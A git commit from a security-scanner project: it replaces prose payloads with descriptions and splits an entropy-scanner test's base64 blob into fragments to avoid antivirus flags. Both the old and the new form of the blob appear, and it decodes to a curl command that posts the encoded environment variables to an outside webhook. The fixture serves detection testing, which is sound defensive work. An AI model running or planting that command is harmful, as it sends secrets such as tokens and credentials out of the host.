docs(llm-security): describe the base64 exfil payloads instead of showing them

v8.1.0 S2. security-assessment.md (two blobs, one split, plus the decoded
exfil command) and the base64 pipe-to-shell one-liner in
knowledge/skill-threat-patterns.md now describe the payload rather than
reproduce it. The entropy path-suppression test builds its 84-char blob
from 12-char fragments, so no contiguous decodable blob sits on disk.

av-surface: b 5->0. a=0 a2=0 b=0 c=0 d=0 - the probe is green.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
Kjell Tore Guttormsen 2026-09-22 13:23:24 +02:00
commit 52084204da
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
3 changed files with 17 additions and 8 deletions

View file

@ -17,8 +17,17 @@ import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/entropy-scanner.mjs';
// Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18.
const PAYLOAD =
'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki';
// Built from fragments (v8.1.0 S2): the contiguous blob decodes to a curl
// exfiltration command, and antivirus products flag it on disk.
const PAYLOAD = [
'Y3VybCAtcyBo',
'dHRwczovL3dl',
'Ymhvb2suc2l0',
'ZS9oZWFsdGgt',
'cmVwb3J0IC1k',
'ICIkKGVudiB8',
'IGJhc2U2NCki',
].join('');
const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`;
const created = [];